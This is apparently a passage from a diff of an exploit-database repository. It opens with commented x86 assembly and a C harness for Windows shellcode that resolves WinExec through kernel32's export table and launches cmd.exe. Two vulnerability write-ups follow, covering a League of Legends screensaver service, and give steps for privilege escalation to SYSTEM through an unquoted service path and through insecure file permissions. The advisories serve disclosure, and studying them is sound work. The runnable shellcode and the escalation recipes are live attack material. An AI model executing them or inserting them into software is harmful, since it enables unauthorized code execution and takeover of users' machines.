mov edx,[edx+0x78] ;(PE Header+0x78)=DataDirectory->VirtualAddress
|
||||
add edx,ebx ; (DataDirectory->VirtualAddress+kernel32.dll base address)=Export table of kernel32.dll (IMAGE_EXPORT_DIRECTORY)
|
||||
mov esi,[edx+0x20] ;(IMAGE_EXPORT_DIRECTORY+0x20)=AddressOfNames
|
||||
add esi,ebx ; ESI=(AddressOfNames+kernel32.dll base address)=kernel32.dll AddressOfNames
|
||||
xor ecx,ecx
|
||||
|
||||
;--------------------------------------------------------------------------------------------------------------
|
||||
|
||||
|
||||
;finding GetProcAddress function name
|
||||
|
||||
Get_func:
|
||||
|
||||
inc ecx ;Incrementing the Ordinal
|
||||
lodsd ;Get name Offset
|
||||
add eax,ebx ;(name offset+kernel32.dll base address)=Get Function name
|
||||
cmp dword [eax],0x50746547 ;GetP
|
||||
jnz Get_func
|
||||
cmp dword [eax+0x4],0x41636f72 ; rocA
|
||||
jnz Get_func
|
||||
cmp dword [eax+0x8],0x65726464 ; ddre
|
||||
jnz Get_func
|
||||
|
||||
;-----------------------------------------------------------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
;finding the address of GetProcAddress
|
||||
|
||||
mov esi,[edx+0x24] ;Esi=(IMAGE_EXPORT_DIRECTORY+0x24)=AddressOfNameOrdinals
|
||||
add esi,ebx ;(AddressOfNameOrdinals+base address of kernel32.dll)=AddressOfNameOrdinals of kernel32.dll
|
||||
mov cx,[esi+ecx*2] ;CX=Number of Function
|
||||
dec ecx
|
||||
mov esi,[edx+0x1c] ;(IMAGE_EXPORT_DIRECTORY+0x1c)=AddressOfFunctions
|
||||
add esi,ebx ;ESI=beginning of Address table
|
||||
mov edx,[esi+ecx*4] ;EDX=Pointer(offset)
|
||||
add edx,ebx ;Edx=Address of GetProcAddress
|
||||
|
||||
;-------------------------------------------------------------------------------------------------------
|
||||
|
||||
;backing up address of GetProcAddress because EAX,EBX,EDX,ECX Register value will be changed after calling function
|
||||
xor esi,esi
|
||||
push edx
|
||||
pop esi
|
||||
|
||||
;----------------------------------------
|
||||
|
||||
;backing up kernel32.dll base address
|
||||
xor edi,edi
|
||||
push ebx
|
||||
pop edi
|
||||
|
||||
;------------------------
|
||||
;Finding address of Winexe()
|
||||
xor ecx,ecx
|
||||
push ecx
|
||||
push 0x00636578
|
||||
push 0x456e6957
|
||||
|
||||
mov ecx,esp
|
||||
|
||||
push ecx
|
||||
push ebx
|
||||
|
||||
call edx
|
||||
;-----------------------
|
||||
;finding address of ExitProcess
|
||||
xor ecx,ecx
|
||||
push ecx
|
||||
push 0x00737365
|
||||
push 0x636f7250
|
||||
push 0x74697845
|
||||
|
||||
mov ecx,esp
|
||||
|
||||
push ecx
|
||||
push edi
|
||||
|
||||
xor edi,edi
|
||||
mov edi,eax ;address of WinExec
|
||||
|
||||
call esi
|
||||
|
||||
;---------------
|
||||
|
||||
xor esi,esi
|
||||
push eax
|
||||
pop esi ;address of ExitProcess
|
||||
;-------------------
|
||||
;calling winexec
|
||||
xor ecx,ecx
|
||||
push ecx
|
||||
push 0x00657865
|
||||
push 0x2e646d63
|
||||
|
||||
mov ecx,esp
|
||||
|
||||
push 0
|
||||
push ecx
|
||||
|
||||
call edi
|
||||
|
||||
;--------------
|
||||
;exiting
|
||||
push 0
|
||||
call esi
|
||||
|
||||
*/
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include<stdio.h>
|
||||
|
||||
char shellcode[]=\
|
||||
|
||||
"\x31\xc9\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xf6\x52\x5e\x31\xff\x53\x5f\x31\xc9\x51\x68\x78\x65\x63\x00\x68\x57\x69\x6e\x45\x89\xe1\x51\x53\xff\xd2\x31\xc9\x51\x68\x65\x73\x73\x00\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x89\xe1\x51\x57\x31\xff\x89\xc7\xff\xd6\x31\xf6\x50\x5e\x31\xc9\x51\x68\x65\x78\x65\x00\x68\x63\x6d\x64\x2e\x89\xe1\x6a\x00\x51\xff\xd7\x6a\x00\xff\xd6\xff\xff\xff\xff\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00";
|
||||
|
||||
main()
|
||||
{
|
||||
|
||||
(* (int(*)()) shellcode)();
|
||||
}
|
||||
45
platforms/windows/local/39902.txt
Executable file
45
platforms/windows/local/39902.txt
Executable file
|
|
@ -0,0 +1,45 @@
|
|||
# Exploit Title: League of Legends Screensaver Unquoted Service Paths
|
||||
Conditional Privilege Escalation.
|
||||
# CVE-ID: NA
|
||||
# Date: 13/04/2016
|
||||
# Exploit Author: Vincent Yiu
|
||||
# Contact: vysec.private@gmail.com
|
||||
# Vendor Homepage: http://www.leagueoflegends.com
|
||||
# Software Link: screensaver.euw.leagueoflegends.com/en_US
|
||||
# Version: MD5 Hash: 0C1B02079CA8BF850D59DD870BC09963
|
||||
# Tested on: Windows 7 Professional x64 fully updated.
|
||||
|
||||
1. Description:
|
||||
|
||||
The League of Legends installer would install the League of Legends
|
||||
screensaver along with a service. The service would be called
|
||||
'lolscreensaver'. This particular service was misconfigured such that
|
||||
the service binary path was unquoted. When the screensaver is
|
||||
installed to 'C:\Riot Games', the issue is not exploitable. However,
|
||||
during the installation process, users are able to specify a directory
|
||||
to install to. When a user chooses to install this to say an external
|
||||
drive, this becomes exploitable.
|
||||
|
||||
This was reported to Riot Games and has been rectified in the latest version.
|
||||
|
||||
2. Proof
|
||||
http://i.imgur.com/S2fuUKa.png
|
||||
|
||||
|
||||
3. Exploit:
|
||||
|
||||
Simply run 'sc qc lolscreensaver' and check for unquoted service path.
|
||||
If the path is unquoted, then check the permissions of each directory
|
||||
using space as a token.
|
||||
|
||||
Eg. D:\My Games\Hidden Files\Super Secure\Riot Games\service\service.exe
|
||||
|
||||
Do icacls on D:\, 'D:\My Games\', 'D:\My Games\Hidden Files\', 'D:\My
|
||||
Games\Hidden Files\Super Secure\'. If you are able to write files to
|
||||
any of these directories, it is exploitable.
|
||||
|
||||
If 'D:\My Games\' is writable, to exploit this issue, place a binary
|
||||
to run as SYSTEM into the folder and named as 'Hidden.exe".
|
||||
|
||||
|
||||
This is released on exploit-db as a means to make users aware. There was no way to automatically install a patch or update to fix this issue. It is recommended that the screensaver is uninstalled and redownloaded from the official website where this issue is now resolved.
|
||||
32
platforms/windows/local/39903.txt
Executable file
32
platforms/windows/local/39903.txt
Executable file
|
|
@ -0,0 +1,32 @@
|
|||
# Exploit Title: League of Legends Screensaver Insecure File Permissions
|
||||
Privilege Escalation
|
||||
# CVE-ID: NA
|
||||
# Date: 13/04/2016
|
||||
# Exploit Author: Vincent Yiu
|
||||
# Contact: vysec.private@gmail.com
|
||||
# Vendor Homepage: http://www.leagueoflegends.com
|
||||
# Software Link: screensaver.euw.leagueoflegends.com/en_US
|
||||
# Version: MD5 Hash: 0C1B02079CA8BF850D59DD870BC09963
|
||||
# Tested on: Windows 7 Professional x64 fully updated.
|
||||
|
||||
1. Description:
|
||||
|
||||
The League of Legends screensaver was installed with insecure file
|
||||
permissions. It was found that all folder and file permissions were
|
||||
incorrectly configured during installation. It was possible to replace the
|
||||
service binary.
|
||||
|
||||
This was reported to Riot Games and has been rectified in the latest
|
||||
version.
|
||||
|
||||
2. Proof
|
||||
|
||||
http://i.imgur.com/5fVijDK.png
|
||||
|
||||
3. Exploit:
|
||||
|
||||
Replace service.exe in 'C:\Riot Games\LolScreenSaver\service' to run
|
||||
service.exe as SYSTEM.
|
||||
|
||||
|
||||
This is released on exploit-db as a means to make users aware. There was no way to automatically install a patch or update to fix this issue. It is recommended that the screensaver is uninstalled and redownloaded from the official website where this issue is now resolved.
|
||||
Loading…
Add table
Reference in a new issue